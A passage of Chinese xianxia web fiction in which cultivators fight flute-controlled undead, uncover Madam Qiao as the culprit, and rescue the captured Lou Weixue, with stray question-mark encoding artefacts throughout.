两人在附近找了一圈,娄危雪发现这边的小路看起来很是眼熟。 “清鸿仙尊,这是不是我们进城前一天走的那条小路?” 沈清鸿同样觉得熟悉,她指指前方,“再往前走走,如果是那天的小路的话,应该很快就能看到破庙。” 两人接着又走了一会,那天的破庙出现在两人眼前。 破庙中的怪物,通往城外的密道,让人陷入昏迷的盘香。 娄危雪心里浮现一个猜测,“寄春说,降云花做成的香,施以秘法,可以使人丧失神志,沦为不生?不死的怪物。” “清鸿仙尊,你说我们那天在庙中遇到的怪物,会不会就是寄春说的那个。” “不无这个可能。” 两人说话间?,一阵笛声忽然响起,笛声婉转,却听不出个完整的曲调。 此?时?天色还未大亮,又在荒野城郊,怎么会有人吹笛。 沈清鸿皱眉,心头顿时?浮现一股不祥的预感。 “我们先回?去。” 两人立刻往回?走,还没到达密道,便听到一阵打?斗之?声,伴随着的还有许多嘶吼之?声,那声音像是从嗓子里挤出来的一般奇怪。 不知道什么时?候开始,山林中多出了这些怪物,而这些怪物的模样与娄危雪在破庙中见到的怪物相差无几。 两人刚到,就听到李寄春的喊声:“这些都?是活死人,大家小心,注意不要受伤!” 沈清鸿神色凌然,立刻抽出均湘剑,加入战斗。 有了沈清鸿的帮助,众人的压力?小了许多,可是这些活死人,像是不知疼痛般,根本就不知道躲避。 林乔一剑砍断身边活死人的手,那活死人不躲不闪,竟然伸着头颅,一口咬在林乔的肩上。 “姐姐!” 林沐抬手一掌把袭击林乔的活死人给拍开,可是那活死人嘴巴未松,林乔肩头的衣服被扯破,甚至连带着地被咬下一些肉来。 林乔闷哼一声,额上冷汗密布。 见姐姐被伤,林沐脸色瞬间?黑了。 “我杀了你!” 林沐气势汹汹,朝着弄伤林乔的活死人袭去。 林间?的笛声,明显证明是有人在操控这些人。 她们这边已经有人受伤,可是幕后之?人连面都?没露,这么打?下去不是个办法。 趁着眼下众人状态还好,沈清鸿毫不犹豫地朝着笛声传来处飞去。 那幕后之?人似乎发现了沈清鸿的意图,操控着活死人围堵着沈清鸿前进的路,相反娄危雪等人身边的压力?小了很多。 见状,娄危雪立刻喊道:“大家来帮忙。” 笛声愈加激烈,活死人凶性大发攻击更加猛烈。 沈清鸿一马当先,均湘剑挥出道道剑气,那些活死人根本就不是沈清鸿的对手。 加上有娄危雪等人的帮助,沈清鸿朝前的路顺畅了一些。 她已经看到那人了,那是一个身着黑衣的女子,身形消瘦窈窕,由于头上戴着帷幔遮住面庞,并不能看清楚女子的样貌。 眼看沈清鸿找了上来,收起笛子转身想要逃跑。 沈清鸿见状立刻追了上去,均湘剑在她身后化出道道虚影,似河流汇聚,朝着女子袭去。 女子见势不妙,立刻拿出笛子,仓促地吹了几个音。 原本被娄危雪等人隔开的活死人,突然不畏死活地冲到女子面前,挡住了沈清鸿的剑势,但是活死人本身也有不少葬送在这一道剑招之?下。 沈清鸿面色未改,她抬起手,均湘剑锋芒毕露,剑风凌厉破空而去。 女子故技重施,可是出现在这里的活死人数量有限,这次活死人没能把这道剑招挡下,仍有一道残留的凌厉剑气飞到女子面前。 眼见着就要被剑气打?中,女子抬手长笛横在身前,运转功力?,挡下了这道被削弱后的剑气,但也因为这道剑气耽误了一些逃跑的时?间?。 沈清鸿正?要趁机追上,可眼睛被什么东西晃了一下,也就这一瞬间?的迟疑,那女子便逃远了。 看着女子已经逃远的背影,沈清鸿若有所?思。 这身影看着十分眼熟,还有刚刚在追人时?,那无意间?被反射到她眼睛上的那抹红光。 操控活死人的人走了,剩下的活死人不足为惧,被沈清鸿等人一一解决。 处理掉最后一个活死人,娄危雪看向众人,她们身上沾了不少血液,分不清是自己的还是活死人身上的,只?有沈清鸿依旧白衣飘飘,一尘不染。 娄危雪的视线在娄危雪身上停了一瞬,又转开。 “你们怎么样,有没有受伤?” 贺凡摇头,“没有,我没事?。” 林乔脸色较刚受伤的时?候更难看了,面上看不出一点颜色,嘴唇都?是白的,握剑的手微微颤抖。 林沐扶着林乔,面色焦急。 “李道友,你能不能帮我看看姐姐。” 李寄春没有受伤,她走上去查看了眼林乔的伤势。 拨开林乔肩头的碎步,露出的皮肤上赫然有着一个深深的咬痕,咬痕周围已经开始泛黑,逐渐变紫朝着周围蔓延,在林乔白皙的肌肤上显得分外骇人。 李寄春皱起眉来,她把在腰上系了一圈的腰包拿下,从中取出银针扎在林乔肩头,封锁住了毒素,防止毒素蔓延,接着她又取出刀,在椭圆形的咬痕中间?,割了道十字。 皮肉被破开,一股黑紫的污血顺着林乔肩头流下,直到确定血液重新变回?原色,李寄春才取下银针。 “眼下只?能先这么处理,等回?去之?后,还需要用药清除体?内的残毒。” 林沐感激不已,“多谢李道友。” 林乔白着脸,也朝林沐点了下头。 “多谢。” 活死人死了,但是操控活死人的幕后之?人却逃跑了。林乔又受了伤,众人只?能暂且先回?去。 一路上沈清鸿都?没有说话,像是在思考着什么。 娄危雪见状,走到沈清鸿身边,“清鸿仙尊你怎么了?可是发现了什么东西?” “我觉得,那个幕后之?人的身形和乔夫人有些像。” “而且,那道红光……” “红光?” 沈清鸿点头,解释:“我追那女子的时?候,有道红光从女子的手上被折射到了我的眼睛上。” 娄危雪有些错愕,“昭华戒?” 李寄春将两人的对话听了个正?着,皱眉道:“难道乔宅的女子失踪的事?情?,都?是乔夫人做的?” 贺凡诧异,“可是你们当时?去找乔夫人的时?候,乔夫人不是也昏迷着吗?怎么可能是她呢?” 娄危雪并不认同,“这也有可能是乔夫人使出来的障眼法。” 人的心底一旦生?了怀疑的种?子,那看什么都?会变得可疑。 李寄春心中始终记挂着没有被找出来的特殊盘香,“当初我们翻了那么多房间?都?没找到盘香的线索,你们说会不会这个盘香就放在乔夫人的房间?里。” “这些都?只?是猜测,我们还需要确凿的证据才行。” 沈清鸿打?断众人的猜想,“回?去之?后,你们想办法把乔夫人支走,我去乔夫人的房间?调查一下。” “好。” 回?去的时?候众人走的是城门,比厢房地下的密道要快许多。 她们刚一回?去,就有人去通知了乔夫人。 乔夫人看到众人身上的血,一脸惊慌。 “道长,你们身上这是……” 娄危雪有意试探乔夫人,她故意道:“我们在外面遇到一些活死人,这是那些怪物身上的血。” 乔夫人松了口气,语气带着淡淡的担心。 “原来如此?。” 娄危雪眼底闪过一抹暗色,若是普通人听到活死人免不了要询问惊吓一番,可是乔夫人却没有追问,显然知道活死人是什么。 她看了眼乔夫人露在外面的手指,红色的昭华戒戴在乔夫人的手上,在晨光下熠熠生?辉。 这可真是,更可疑了呢。 乔夫人对此?丝毫不知,她看了眼众人,颇为体?贴。 “道长们在外追查了一夜想必累了,不如先回?去休息吧,我会让人把热水餐食送过去的。” “如此?就有劳夫人了。” 娄危雪没有推辞,一口应下。 林乔受着伤,还需要处理,她们有些事?情?也需要重新商议。 第33章 一行人回到各自的?厢房,将?自己收拾一番,这才重新在?娄危雪的?房间聚齐。 这其中数李寄春到得?最晚,她在?房间炼制丹药,花了?一些时间。 李寄春拿出一颗白色药丸递给林乔,“你把这个服下,可以解你身?上的?余毒。” 林乔接过李寄春手中的?东西?,朝李寄春感激一笑。 “多谢李道长。” 见所有人都?已经?到齐,娄危雪将?手里拿了?半天都?没喝的?水杯放下。 她神色严肃,“现在?玲溪和花厌两人失踪,不知道被带去了?哪里,我们还是得?尽快找到她们,毕竟晚找到一些,她们就会多一分危险。” 贺凡点头?,“她们应该是昏迷后被人从地下密道给带走了?,我们当时顺着密道出去,还未找多久便遇到活死人的?袭击,说明?密道附近一定有据点,不然活死人不会来得?这般快,我们如果想?要找到她们,还得?去城外一趟。” “可是那些活死人明?显受人操控,我们如果去调查,很有可能再次受到袭击。”李寄春秀眉微拧,“活死人很多,它们不怕受伤,可是我们不一样,一旦被抓伤,又未处理,毒素蔓延下去,会出大问题,很有可能人没找到,我们自己就先出事了?。” “但是我们的?师妹说不定就被关在?城外,难道要因为活死人的?存在?,就放弃不去寻找吗?” 听着几人的?争论?,沈清鸿目光沉静,“擒贼先擒王,只要抓住幕后操控它们的?人,一切都?将?迎刃而解。” 想?到沈清鸿之前在?路上说的?关于乔夫人的?事情,以及回来后乔夫人的?反应。 娄危雪沉思片刻后说道:“现在?我们没在?乔宅查到任何关于幕后之人的?线索,既然清鸿仙尊之前觉得?乔夫人的?身?影与?吹笛的?女?子相似,不如我们先查一查乔夫人。” 原本在?路上的?时候就说过要查乔夫人,众人对此都?没有意义。 有怀疑的?目标可以搜查,总比没方向要好。 众人就此商定,林沐留在?房间照顾受伤的?林乔,贺凡跟着娄危雪等人来到乔夫人居住的?院落。 娄危雪等人藏在?附近,贺凡一人走入院内,她们在?外面没等多久,就见贺凡和乔夫人一起从里面走了?出来,跟在?后面的?还有几个下人。 见此,三人这才从暗处走出,进?入乔夫人居住的?院中。 沈清鸿挥手,在?附近布下一道无形的?结界,如果有人靠近触动结界她便能感应到。 一夜过去,乔夫人的?院子已经?被打扫干净,原本破碎的?大门也已经?被修好换上新的?,不过此刻因为主人的?离开?,正紧紧关闭着。 四下无人,娄危雪推开?乔夫人房间的?门,当先走了?进?去。 屋内的?展览架空了?许多,不过原本摔落在?地的?各种摆设已经?被扫走,屋内也没了?夜晚时的?浓厚香味。 娄危雪指指卧房那边,“我找这边。” 三人分开?,在?房间里找了?起来。 乔夫人的?房间被打扫得?很整洁,娄危雪先打开?卧房的?一个柜子翻找起来。 她的?动作小心又仔细,就是为了?尽量避免把衣服弄乱后,乔夫人回房会发现。 这个柜子里放着的?是乔夫人的?衣服,颜色大多比较鲜艳,款式都?是时下流行的?。 说起来乔宅有妖邪闹事,可乔夫人竟然能保持每日都?打扮得?光鲜亮丽。 尽管她有昭华戒在?手,不怕妖邪近身?,可那妖邪抓的?都?是长得?漂亮的?,寻常人遇到这种事情,哪还有心思打扮。 现在?想?来,简直处处都?是疑点。 柜子装的?都?是衣服,除此以外没有别的?可疑的?东西?。 娄危雪关上衣柜,转而把目光放在?床上。 花厌和玲溪房间里的?密道就是在?床下,那乔夫人房间的?床下会不会也有密道。 她把乔夫人床上铺着的?被褥掀开?,伸手敲了?敲,是实心的?,看上去没有任何异常。 娄危雪没有放弃,依次又检查了?床头?床底,可以说是把整个床给检查了?个遍,但是并没有什么收获。 这似乎就只是一个简单的?木床,并不特别。 叹了?口气,娄危雪把床上的?被褥一层层地重新放上去,就在?她准备把最后一层的?床单铺上去的?时候,娄危雪在?上面发现了?一处灰色半透明?的?东西?。 她凑近观看,那像是某种虫子的?虫蜕,被无意压扁后,碎在?了?上面。 进?门的?时候娄危雪就发现了乔夫人房间各处收拾得?都?十分整洁,她检查衣柜的?时候,衣柜里的衣服都是按照衣服的颜色由深到浅依次摆放的?,可见收拾房间的?人很仔细。 既然如此,那床上怎么会有这个东西? 娄危雪认不出这个虫子可不代表有人会认不出来,她朝在?外间检查的?李寄春喊了?一声?:“寄春,我发现了?一个东西?,你过来看看,这是什么?” 李寄春在外间没发现什么特殊的东西?,听到娄危雪的?声?音,便走了?过去。 娄危雪指指床上的?那块,“就是这个,寄春你能看出这是什么虫子吗?” 床单上的?虫蜕碎得?比较严重,一小块一小块的?,不少地方都?搅和到了?一起,虫蜕上纹路纵横错乱,叫人辨不出个完整的?样子。 李寄春眉毛几近要拧到一处,她从腰带上拿出一个镊子,控制着手中的?力道,夹起一块块的?虫蜕,将?搅和在?一起的?虫蜕渣渣给分开?。 因为虫蜕碎得?比较严重,李寄春分了?好一会,才理清楚上面的?一点纹路,不过等认出是什么东西?后,她的?面色立刻就变了?。 看李寄春这样子像是认出来了?,娄危雪刚想?开?口询问,沈清鸿却走了?过来。 “结界被触发了?,先走,有人过来了?。” 闻言,李寄春拿出一方手帕,把床上的?虫蜕给放到了?手帕里,娄危雪顺势把最后一层床单给铺上,将?床上的?东西?重新恢复成原样。 沈清鸿感知到来人是从院子前门走入的?,她把房中的?窗户打开?,提醒二人。 “走窗户。” 两人闻言赶紧过去,三人从窗户处离开?,从后门绕出院子,回到厢房。 想?到之前在?乔夫人房间的?发现,娄危雪迫不及待地询问:“寄春,刚刚在?乔夫人床上发现的?那东西?到底是什么啊?” 李寄春不答反问:“还记得?我之前和你们说的?降云花吗?” “怎么了??那东西?和降云花有关?” 李寄春点了?点头?,“那是夺魄虫的?虫蜕,夺魄虫最喜欢降云花,一般降云花田中只会出现一只夺魄虫,因为一旦出现第二只夺魄虫,两只虫子便会相互争斗,要么两败俱伤双双死亡,要么其中一只胜利吃掉另一只,存活下来。” 她猜测着:“炼制那样的?盘香需要大量的?降云花,势必要与?降云花长期接触,身?上或许因为沾有降云花的?香味,引来了?虫子,被无意间带回房间。” 娄危雪总结,“现在?看来,乔夫人很有可能就是炼制盘香的?人,今日在?城外操控活死人的?女?子十有八九就是她。” 得?知乔夫人的?身?份后,李寄春的?心根本就平静不下来。 她是为了?调查师妹的?失踪才来到这里的?,可现在?却在?乔宅发现降云花做成的?盘香,还有活死人这些东西?。 距离师妹失踪已经?有好些日子,也不知道师妹到底怎么样了?,会不会已经?遇到危险。 李寄春不想?再继续等下去了?,毕竟就像娄危雪先前所说一般,晚找到一些,被抓的?人就会多一分危险。 “我现在?就去找乔夫人,问问她到底把我师妹弄到哪里去了?!” 她气势汹汹的?,推门而出,速度快得?简直像是一阵风。 娄危雪还没来得?及阻拦,沈清鸿就已经?甩了?一道法诀过去,把她给定住了?。 李寄春皱紧双眉,她抬脚想?走,可脚下却像是生根一般,根本走不动一步。 “清鸿仙尊,你这是作何?” “不可冲动。”沈清鸿解释,“乔夫人可以控制活死人,我们尚且不知道活死人的?数量多少,你这般贸然过去只会打草惊蛇,很有可能救不到人,还搭上自己。” 娄危雪在?旁边跟着劝说:“清鸿仙尊说得?对,寄春,我知道你担心师妹,可是越是这种时候越不可莽撞。” “那还能怎么办!” 一想?到师妹生死不知,李寄春全无之前的?从容,根本淡定不下来。 现在?城外暂时不能去,看来只能从乔宅内下手。 沉思一瞬,娄危雪提议:“如果乔夫人真的?是幕后之人,那这个宅子绝对不止花厌和玲溪的?房间中有密道,我们不如先分散开?,各自在?宅子里到处找找,看看能不能发现类似密道的?地方。” 沈清鸿没有说话,默认了?娄危雪的?主意。 李寄春眼神挣扎,纠结一会,选择妥协。 “好,那就先听危雪你的?,我再找找。” 见李寄春答应,沈清鸿这才解开?李寄春身?上的?法诀。 她们推门出去,各自散开?找线索去了?。 娄危雪朝下人住的?那边去了?,她总觉得?乔家的?下人不如表面上看起来简单,说不定能在?这边查到什么也说不定。 兴许是因为白天,下人们都?做工去,在?这里的?人格外少。 娄危雪探了?好几个房间,都?没查到什么异常。 再次从一个房间出来,娄危雪突然听到一阵呼唤。 “道长,道长。” 那声?音小得?很,像是怕被人听见一般。 娄危雪环视一圈,看到一个丫鬟站在?一堵墙后正探着脑袋朝这边张望。 见娄危雪发现她,那丫鬟神情是显而易见的?激动,她朝娄危雪招了?招手,殷切地唤着。 “道长,这里。” 光洁白皙的?双手在?空中摇晃得?十分卖力,娄危雪的?视线落在?丫鬟的?手上,眼神微暗。 她走过去,“怎么了??” “道长,我有件事情想?和你说。” 那丫鬟说着,紧张兮兮地看了?看左右两边,像是生怕被人发现。 “哦?”娄危雪挑眉,“你想?和我说什么?” “道长,我好像发现妖怪的?藏身?之处了?,”丫鬟眼睛瞪得?大大的?,她吞了?吞口水,继续道:“昨夜道长你们搜查完房间之后,我们各自就回去了?,不过我睡不着,就出去走了?一圈,结果突然听到一阵咀嚼声?,道长你说那会不会是妖怪在?吃人啊!” “道长,你快跟我去看看吧,我好害怕,你说下一次消失的?会不会就是我了?啊。” 娄危雪定定地盯着丫鬟半晌,然后突然笑了?。 “好啊,你带我去看看,如果能找到妖怪,那你可就帮了?大忙了?!” 一个丫鬟不该有那样的?双手,她倒要看看这个丫鬟想?要干什么。 见娄危雪答应下来,丫鬟松了?口气。 “道长,你跟我来。” 她走在?前面为娄危雪带路朝着后院走去,越走人越少,后院荒草丛生,平日显然是没什么人朝这里过来。 丫鬟来到一口井边,她指指井下。 “昨晚我就是在?这里听到声?音的?,道长,你说妖怪会不会就藏在?这井下面啊。” 娄危雪站在?一侧,没有靠近。 那丫鬟见她不动了?,焦急唤道:“道长,你快过来看看啊。” 娄危雪走过去,朝井边靠近一些,她故意探头?朝井里看了?看。 就在?这时,原本一脸害怕的?丫鬟瞬间变了?脸色,她靠近娄危雪,一掌朝娄危雪的?背后拍去。 娄危雪对此早有防备,在?身?后掌风袭来的?瞬间侧身?躲过。 这丫鬟果然目的?不纯,娄危雪沉声?:“你究竟是什么人。” 丫鬟一言不发,见娄危雪躲过之后,没有任何犹豫转身?就跑。 娄危雪站在?原地,在?丫鬟的?背影快要消失的?时候,一咬牙追了?上去。 那些被抓的?人还在?等着解救,这个人很有可能成为新的??*?突破口,她不能就这么放弃。 或许是知道宅子里有个仙尊不好惹,丫鬟并没有朝宅子里跑去。 娄危雪追着丫鬟,一路来到城外。 不知道跑了?多久,丫鬟突然停下。 娄危雪站在?几步开?外,目光警惕,“你怎么不跑了??” “我为何要跑?” 丫鬟笑了?起来,面上一阵扭曲,原本不出彩甚至可以说是丑陋的?容貌发生变化,矮小的?身?材也在?这个过程中逐渐升高,如抽芽的?树枝,一个身?姿窈窕面容清秀的?女?子出现在?娄危雪的?面前。 娄危雪目瞪口呆,好家伙,大变活人。 看来,她对这个世界上的?法术知道得?还是太少了?。 不过如果是这样的?话,那在?乔宅的?那些下人说不定有不少都?是伪装成那样的?。 或许一开?始失踪的?,就只是一些不知内情的?普通女?子,因为漂亮的?女?子越来越少,为了?防止进?入乔宅的?人怀疑,剩下的?人才改变样貌让自己变丑。 之前林沐和林乔两姐妹从下人们房间找到的?胭脂水粉和衣服,说不定根本就不是失踪的?人的?,或许就是她们自用的?。 不好!沈清鸿她们可能会有危险! 娄危雪转身?想?要回去,可是女?子根本就没有让她逃跑,直接飞上去阻挡了?娄危雪的?去路。 同时,不知道什么时候开?始,先前娄危雪遇到那些活死人再次出现,慢慢朝着娄危雪包围过去。 娄危雪沉着脸,没有说话找着办法想?要回去,可是女?子根本就不给娄危雪机会。 她再次拦住要逃跑的?娄危雪,咯咯地笑了?起来。 “小道长,我劝你还是放弃吧。” 娄危雪一言不发,咬牙挡下活死人的?攻击,可是越来越多的?活死人朝娄危雪袭来,她们的?攻击密不透风,交织成了?一张大网,牢牢地网住了?里面的?人。 对方虽然只有一个人,但是有活死人在?旁边围着娄危雪,娄危雪的?攻击很难打到女?子的?身?上。 她只是应付围攻来的?活死人,就已经?足够吃力了?。 没多久娄危雪便落入下风,女?子见机挥出袖子,一阵粉色的?烟雾飘散到娄危雪面前,娄危雪避无可避。 在?晕倒的?最后一秒,娄危雪只希望沈清鸿她们能尽快察觉到宅子中下人的?不对劲,抓住夫人,过来找她。 另一边,沈清鸿等人在?宅子里找了?一圈,找到了?几处可疑的?地方。 为了?避免打草惊蛇,她们并未声?张,只是各自回了?厢房,打算从长计议。 可是等了?许久,娄危雪始终没有出现,众人立刻意识到了?不对。 李寄春按下心头?的?不安,朝众人道:“危雪说不定是发现了?什么,暂时没有回来,这样,我们再去找一找,半个时辰后,我们在?这里重新集合。” 花厌和玲溪还没找到,如果娄危雪再失踪,那可就麻烦了?。 众人纷纷应声?,各自结队一起去找人,半个时辰后,她们重新在?厢房集合。 娄危雪依旧没有出现,没有人能够找到娄危雪。 众人神色严肃,沈清鸿自从发现娄危雪不见后,更是一言不发。 现在?见没人有娄危雪的?消息,她的?眸子瞬间冷了?下去,眼中闪烁着细碎的?寒光,身?侧的?均湘剑更是压抑不住地颤抖,嗡鸣不止。 贺凡看了?眼均湘剑,连忙劝道:“清鸿仙尊,冷静啊!” 可是沈清鸿哪里能够冷静地下来,带着一身?逼人的?寒气,转身?出门,提剑直接朝着乔夫人的?院子去了?。 李寄春瞪大眼睛,之前她要找乔夫人的?时候,沈清鸿劝她冷静,现在?娄危雪出事,沈清鸿倒是忘记不能打草惊蛇了?。 不过李寄春并不打算劝沈清鸿,她跟在?沈清鸿的?身?后,追了?上去。 乔夫人见到沈清鸿过来,满眼诧异。 “道长,你们怎么来了??” 谁承想?沈清鸿二话不说,抬手便是一剑,看着那骇人的?剑光,乔夫人下意识地朝旁边闪躲。 这一躲,便暴露她不是普通人的?事实。 “果然是你。”沈清鸿嗓音冰冷,如同冬日的?井水。 乔夫人见已经?暴露,索性不再藏拙,她双唇嘬起,发出一阵嘹亮的?哨声?,那声?音在?功力的?加持下,传得?很远。 不过是眨眼的?功夫,原本无人的?院落,就多出了?几道人影,她们的?身?上穿着乔宅下人们穿的?衣服,正是那些长相丑陋的?仆人们。 “夫人。” 在?她们说话的?时候,她们的?身?形也跟着发生了?变换。 这哪里还有什么丑陋的?仆人,一个个都?是窈窕又貌美的?女?子。 她们使用了?秘法改换了?自己的?容貌,压制住了?自己的?修为,直到现在?恢复原本的?样貌,沈清鸿才感受到她们身?上传来的?灵力波动。 见势不妙,众人面容深沉,纷纷抽出自己的?武器,一场大战,一触即发。 沈清鸿冷哼一声?,抬起手来,没有半分犹豫,朝着乔夫人袭击而去。 与?此同时,娄危雪迷迷糊糊间,听到一个声?音在?耳畔响起,她的?身?子被人轻轻地晃着。 “少门主,少门主?” 这声?音有点熟悉,娄危雪双眉紧皱,只觉得?脑袋晕乎乎的?。 她挣扎片刻,这才缓缓睁开?双眼,玲溪的?面容映入她的?眼中。 “玲溪?” 见娄危雪醒来,玲溪松了?口气。 “太好了?,少门主你终于醒了?。” 昏迷前的?记忆在?娄危雪的?脑海中浮现,娄危雪瞬间意识到了?自己的?处境。 她站起身?,朝四周打量,这是一间牢房,左右两边是石头?堆成的?墙壁,牢房里没有窗户,也没有任何摆设,只在?墙角处铺了?几捆稻草,摸上去阴冷又潮湿。 牢房的?门是由几根木头?围成的?,门外上着锁,墙壁两边的?火烛散发着微弱的?光芒。 娄危雪来到牢房门口,朝外张望,她发现在?附近有好几个这样的?房间,不过里面都?空着,没有人。 她还想?要细看,突然一股风扑面而来,娄危雪下意识运转灵力,却觉得?经?脉滞涩,灵力运转到一半就散开?了?。 娄危雪想?到昏迷前的?那阵粉雾,恐怕是有些问题。 劲风扑面,娄危雪来不及细想?,挪动脚步,朝后连退了?好几步。 一只胳膊从门缝中伸入,尖锐的?指甲散发着阴冷的?气息,如果娄危雪的?动作慢一点,就该被那指甲给戳中了?。 “少门主当心!”玲溪走到娄危雪身?边,提醒她,“这牢房外面都?是这种怪物,只要靠近牢房的?房门,它们就会过来。” “我知道了?。” 娄危雪应道,朝后又退了?两步,防止被活死人抓伤。 发现没有抓到人,门外的?活死人颇为不满,低吼一声?,眼睛发红就想?将?牢房的?门给破开?。 恰在?这时,一道光芒亮起,有屏障升起。 娄危雪这才发现牢房的?门头?上贴了?一道符咒,这符咒估计是为了?防止牢房里面的?人逃跑贴的?,另一方面应该也是为了?防止看守的?活死人会发狂弄坏牢房,叫牢房里的?人逃出。 看来一时半会儿的?,是不好逃出去了?。 娄危雪把视线收回,发现房间里除了?她就只有玲溪。 可是当时失踪的?明?明?是两个人,娄危雪满眼疑惑,“玲溪,你有看到过花厌吗?” “少主?”玲溪愣了?一下,随即反应过来什么,语气中难掩慌乱,“难道少主也被抓进?来了??” 娄危雪见她确实不像是知道的?样子,便把昨晚上在?玲溪和花厌房间发现的?事情和玲溪说了?一遍。 “可是我醒了?之后就在?这个房间里,除了?先前来了?个女?子把少门主你关了?进?来外,我再也没看到过其他的?人。” 玲溪蹙着眉,满眼仓皇。 “少门主,你说那妖邪会不会先对少主下手了?啊。” 在?乔宅的?时候,玲溪和花厌是一起失踪的?,娄危雪以为两人至少会在?一起,可事实显然不是。 “你先别着急,花厌她说不定没事。” 娄危雪说话的?同时,指了?指外面,“你看这里还有这么多的?牢房,花厌被关在?其中一间也说不定。” 玲溪并没有被娄危雪的?话安慰到,看不到花厌,让她心里始终有些不安。 见状,娄危雪岔开?话题,“你别太担心了?,清鸿仙尊她们还在?外面,而且我们已经?查到了?些眉目,相信过不了?太久,清鸿仙尊就会找到我们,把这里的?人都?放出去。” “嗯。” 玲溪低低应了?声?,情绪依旧低沉。 实际上娄危雪心里也有些摸不准,乔宅的?下人不知道有多少是乔装打扮的?,不知道沈清鸿她们能不能辨别出来,更不知沈清鸿她们能不能发现她留下的?记号。 两人一时无言,牢房内一片安静。 不知道又过了?多久,一阵脚步声?从门外传来,当初那个把娄危雪抓过来的?女?子,从外面把牢房的?门打开?,走进?牢房,指了?指娄危雪。 “小道长,跟我出来吧。” 玲溪见状伸手挡在?娄危雪身?前,满脸警惕。 “你想?对少门主做什么?” 见玲溪这般,女?子眉头?皱起。 “让开?,别碍事。” 玲溪没有动,牢牢地把娄危雪护在?身?后,少门主曾经?保护过她,她不能让这个人把少门主带走,她也要保护少门主。 “我跟你走,请你不要动少门主。” 女?子根本懒得?和玲溪费这个口舌,见玲溪不让,一道法诀丢到玲溪的?身?上,将?人牢牢给定在?原地。 这是最普通不过的?定身?术,可是牢房中灵力被锁的?两人,根本就解不开?这道术法。 娄危雪原本也不想?让玲溪顶替她,她从玲溪身?后走出。 “走吧。” “少门主,不要。” 娄危雪无奈,以她们现在?的?处境,不是玲溪说不要就能不要的?。 女?子见娄危雪配合,原本被玲溪影响的?心情,恢复了?一些。 她把娄危雪带出牢房后重新把牢门锁上,而原本在?牢房外的?那些活死人,因为女?子的?到来安分不少,纷纷为女?子让路。 女?子带着娄危雪朝更深处走去,她发现道路两边都?是牢房,有些牢房是空着的?,但是有些牢房里面还关着人,只不过看上去都?昏迷着。 穿过这片牢房区域,两人重新来到蜿蜒的?小道,娄危雪被女?子压着,左转右绕地走了?好久,她一时头?大,只觉得?道路复杂,很难记住。 大概走了?半个时辰,娄危雪终于被人带到了?目的?地。 这是一个大厅,在?大厅中央有一个石桌,石桌两旁有着束缚用的?手链。 “小道长,自己躺上去吧,别逼我动手。” 娄危雪望了?眼石桌,石桌的?桌面雕琢着诡异的?纹路,上面不少地方已经?被鲜血染红,那用来束缚人防止逃跑的?手链上面同样血迹斑斑。 看样子,这张石桌之前躺过不少人。 娄危雪嘴角扯出一抹僵硬的?弧度,“那什么,我有点洁癖,能不能不躺啊。” “当然不能。” 女?子冷漠地拒绝娄危雪,见娄危雪不愿自己躺上去,索性自己上了?手。 娄危雪奋力挣扎,可是根本敌不过女?子,不过几下的?功夫就被绑了?上去。 尽管努力在?心里让自己冷静,可是娄危雪依旧有些慌了?神。 “你想?做什么?” 那女?子看着被绑着不能动的?娄危雪,笑得?开?心。 “夫人可是交代过,要我们好好关照小道长呢。” 一道脚步声?响起,一个白发苍苍的?老人端着药碗,不知道什么时候走了?过来,此人正是乔宅的?管家。 “和她说这么多干什么,反正之后她变成活死人之后,什么都?不会记住。” “真是可惜了?。”那女?子伸手抚上娄危雪的?面颊,“这个小道长生得?这般好看,夫人倒是狠心,竟然连用都?不用,就要让她变成活死人。” “夫人的?心思,岂是你我可以猜测的?。” 女?子叹息不已,“可惜,可惜,等变成那腌臜的?东西?后,这副美丽的?皮囊,就再也看不到了?。” 娄危雪躺在?石桌上,听到这两人要把她变成活死人,脸色别提有多难看了?。 “咱们还可以商量,”回想?着女?子和老人先前的?对话,娄危雪扯起嘴角,给女?子递了?个眼神,“夫人既然不愿意用我,但是你们可以用我啊。” 虽然不知道这个用是什么意思,但是眼下还是要先拖延时间,想?办法脱身?为好。 女?子见状噗嗤一声?笑了?,好一会才停下。 她擦擦眼角笑出的?泪花,伸手捏了?捏娄危雪的?面颊。 “虽然我也很想?用,可是夫人的?命令我不能不听。” 老太太见女?子和娄危雪这么一来一回的?,颇为不耐,她催促:“别和她废话了?,赶紧动手吧,等处理完她,我们还要回去和夫人复命。” “好了?好了?,我知道了?。” 女?子应下,一手从老太太的?手中接过药碗,一手捏住娄危雪面颊。 娄危雪哪能就这么张嘴,她紧抿着唇,与?脸颊上传来的?力道做着抗争。 “真是麻烦。” 老太太见状面露凶光,拔出匕首,朝娄危雪的?胸前扎去。 第34章 眼见着匕首的刀刃已经划破娄危雪衣襟前的衣服,突地一道银芒袭来,将?老太太手中的匕首打落。 同时捏着娄危雪面?颊准备灌药的女子手中,药碗跟着破碎,药液从她手中淌下,落了满地。 两人?立刻警醒,朝身后望去。 只见沈清鸿提剑站在远处,她的目光落在女子先前捏着娄危雪面?颊的手上,清冷如月的眼眸中闪烁着冰冷的亮光。 娄危雪被绑在石桌上,视野有限,只知道女子的药碗被打落了。 发生了什?么?这是?有人?过来救她了吗? 难道是?…… 娄危雪的眼睛不受控制地睁大许多,她试探着唤了一声?。 “清鸿仙尊?” “我在。”沈清鸿嗓音低沉,带着一丝不易察觉的温柔。 在听到?沈清鸿嗓音的那一刻,娄危雪原本悬着的心瞬间落了地,周遭的一切在她耳中都没了声?音,她整个人?被一种名叫安全感的东西紧紧地包裹了起来。 与之相反的,女子和老人?的脸色异常难看,她们都知道沈清鸿并不好对付。 两人?对视一眼,一言未发,合力朝着沈清鸿攻去。 沈清鸿将?心神暂时从娄危雪身上抽回,抬眸扫了两人?一眼。 那眼神冷寂无情,幽深黑暗如伸手不见五指的深渊,让与之对视的人?一下便冷到?心里,仿佛连身体都要冻结起来。 沈清鸿抬手挥出一剑,这一剑朴实无华,没有任何剑气,也没有伴随着的寒芒剑影。 她只是?简简单单地从女子和老人?的身边走过,如闲庭信步一般,不沾任何尘埃。 可是?在她身后,血雾在空中爆开,女子与老人?的脖子上出现一道血红的痕迹,这条名为死亡的绳索紧紧缠绕在两人?的脖子上,叫人?摆脱不掉。 两道重物落地的声?音接连响起,女子和老人?齐齐倒在地上,脸上的表情还维持在攻击沈清鸿的那瞬间,一丝惊恐与后悔浮现在她们的眼底,不过未及蔓延便已戛然而?止。 沈清鸿轻抖手腕,血滴从锋利光滑的剑身上滑落,没有留下一丝痕迹。 